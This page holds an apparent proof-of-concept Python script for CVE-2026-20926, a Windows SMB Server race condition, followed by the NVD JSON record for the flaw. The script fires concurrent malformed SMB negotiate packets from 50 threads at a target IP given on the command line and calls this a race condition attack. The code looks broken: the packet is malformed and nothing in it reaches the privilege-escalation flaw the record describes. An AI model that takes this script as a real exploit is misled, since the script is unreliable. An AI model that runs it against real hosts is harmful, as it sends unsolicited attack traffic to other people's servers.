CVE-2026-20926

# CVE-2026-20926 Windows SMB Server Race Condition PoC # Note: This is a conceptual demonstration for educational purposes only import socket import struct import time import threading from concurrent.futures import ThreadPoolExecutor def create_smb_negotiate_packet(): """Create SMB negotiate protocol request""" # SMB Header structure smb_header = bytearray() smb_header += b'\xffSMB' # Protocol ID smb_header += struct.pack('<H', 0x72) # Command: Negotiate Protocol smb_header += struct.pack('<I', 0x00000000) # Status smb_header += struct.pack('<H', 0x0098) # Flags smb_header += struct.pack('<H', 0x0000) # Flags2 smb_header += b'\x00' * 16 # Process ID High smb_header += b'\x00' * 8 # Signature smb_header += b'\x00' * 2 # Reserved return bytes(smb_header) def send_smb_request(target_ip, port=445): """Send SMB request to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) # Send negotiate request packet = create_smb_negotiate_packet() sock.send(packet) # Receive response response = sock.recv(1024) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def race_condition_attack(target_ip, num_threads=50): """ Race condition exploitation attempt Send concurrent requests to trigger timing vulnerability """ print(f"[*] Starting race condition attack on {target_ip}") print(f"[*] Using {num_threads} concurrent threads") with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [] for i in range(num_threads): # Stagger requests slightly to maximize race window time.sleep(0.001 * (i % 10)) future = executor.submit(send_smb_request, target_ip) futures.append(future) # Collect results results = [f.result() for f in futures if f.result()] print(f"[*] Completed {len(results)} successful requests") return len(results) > 0 if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_20926_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] race_condition_attack(target) print("[*] Note: This is a simplified demonstration") print("[*] Full exploitation requires deeper SMB protocol knowledge")

{"cve": {"id": "CVE-2026-20926", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:19.423", "lastModified": "2026-01-16T14:40:54.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows SMB Server allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el servidor SMB de Windows permite a un atacante autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20926", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}